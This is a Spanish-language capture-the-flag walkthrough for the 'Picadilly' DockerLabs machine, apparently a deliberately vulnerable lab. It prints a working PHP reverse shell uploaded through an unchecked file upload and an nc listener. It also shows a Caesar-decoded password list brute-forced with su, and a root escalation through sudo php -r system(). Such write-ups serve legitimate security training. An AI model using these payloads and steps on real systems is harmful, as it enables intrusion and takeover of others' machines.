Picadilly DockerLabs (Easy)
Instalación
Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip picadilly.zipNos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh picadilly.tarInfo:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarlaPor lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 14:57 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000024s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.59
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Index of /
| http-ls: Volume /
| SIZE TIME FILENAME
| 215 2024-05-18 01:19 backup.txt
|_
443/tcp open ssl/http Apache httpd 2.4.59 ((Debian))
|_http-title: Picadilly
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=50a6ca252ff4
| Subject Alternative Name: DNS:50a6ca252ff4
| Not valid before: 2024-05-18T06:29:06
|_Not valid after: 2034-05-16T06:29:06
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.59 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: picadilly.lab
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.21 secondsSi entramos en el 443 que parece interesante, veremos una pagina normal que abajo del todo se puede subir un archivo, por lo que probaremos a subir un PHP para crearnos una reverse shell.
Escalate user www-data
shell.php
<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>Si subimos el archivo shell.php veremos que nos deja subirlo y que se habra subido correctamente, por lo que haremos fuzzing para ver donde se encuentra el directorio donde se almaceno nuestro archivo:
Gobuster
gobuster dir -u https://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -k -rInfo:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://172.17.0.2/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 276]
/.htpasswd.txt (Status: 403) [Size: 276]
/.htaccess.html (Status: 403) [Size: 276]
/.htaccess.php (Status: 403) [Size: 276]
/.htpasswd (Status: 403) [Size: 276]
/.htaccess.txt (Status: 403) [Size: 276]
/.htpasswd.html (Status: 403) [Size: 276]
/.htpasswd.php (Status: 403) [Size: 276]
/index.php (Status: 200) [Size: 3719]
/server-status (Status: 403) [Size: 276]
/uploads.php (Status: 200) [Size: 3719]
/uploads (Status: 200) [Size: 1137]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================Vemos que hay un directorio llamado uploads/ por lo que tiene toda la pinta de que estara ahi.
URL = https://<IP>/uploads/Si entramos ahi dentro veremos que esta nuestro archivo shell.php por lo que nos pondremos a la escucha antes de ejecutarlo:
nc -lvnp <PORT>Y desde la web pinchamos a nuestro archivo que subimos, una vez echo esto si nos vamos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.120.128] from (UNKNOWN) [172.17.0.2] 49694
whoami
www-dataPor lo que vemos ya hemos entrado con el usuario www-data.
Sanitizamos la shell (TTY)
script /dev/null -c bash# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>Escalate user mateo
Si leemos el siguiente archivo en esta ruta:
cat /var/www/picadilly/backup.txtInfo:
/// The users mateo password is ////
----------- hdvbfuadcb ------------
"To solve this riddle, think of an ancient Roman emperor and his simple method of shifting letters."
////////////////////////////////////Vemos que no esta diciendo la contraseña de mateo, pero esta cifrada...

Vemos que esta cifrado en Cesar, y nos da esas opciones de contraseña, por lo que vamos hacer un diccionario de todos esos resultado para ver cual de todas puede ser, utilizando una herramienta llamado suBrutefoce.sh.
dic.txt
easycrazy
tphnrgmpon
gcuaetzcba
yumswlruts
vrjptiorqp
uqioshnqpo
sogmqflonm
pldjncilkj
rnflpeknml
okcimbhkji
iewcgvbedc
awouyntwvu
miagkzfihg
kgyeixdgfe
njbhlagjih
fbtzdsybaz
qmekodjmlk
zvntxmsvut
wskqujpsrq
cyqwapvyxw
lhzfjyehgf
jfxdhwcfed
bxpvzouxwv
xtlrvkqtsr
dzrxbqwzyxNos descargamos la herramienta en el siguiente link:
URL = suBruteforce.sh GitHub
Solo tendremos que copiar el codigo y pegarlo en el archivo que creemos en /tmp.
vim suBruteforce.sh
#<PRESS_i>
#<SCRIPT_PASTE>
#<ESC>
#<:wq> Para guardar y salirUna vez que tengamos el script cargado en el sistema, ponemos permisos de ejecuccion:
chmod +x suBruteforce.shY haremos lo mismo con el archivo de contraseñas:
vim dic.txt
#<PRESS_i>
#<PASTE_KEYS>
#<ESC>
#<:wq> Para guardar y salirY utilizaremos la herramienta de la siguiente forma:
bash suBruteforce.sh mateo dic.txtInfo:
[+] Contraseña encontrada para el usuario mateo:easycrazyPor lo que escalaremos al usuario mateo.
su mateoMetemos como contraseña easycrazy y veremos que somos dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for mateo on c8332aa1fb59:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User mateo may run the following commands on c8332aa1fb59:
(ALL) NOPASSWD: /usr/bin/phpVeremos que podemos ejecutar el binario php como el usuario root, por lo que haremos lo siguiente:
CMD="/bin/bash"
sudo php -r "system('$CMD');"Con esto seremos root y habremos terminado la maquina.
Last updated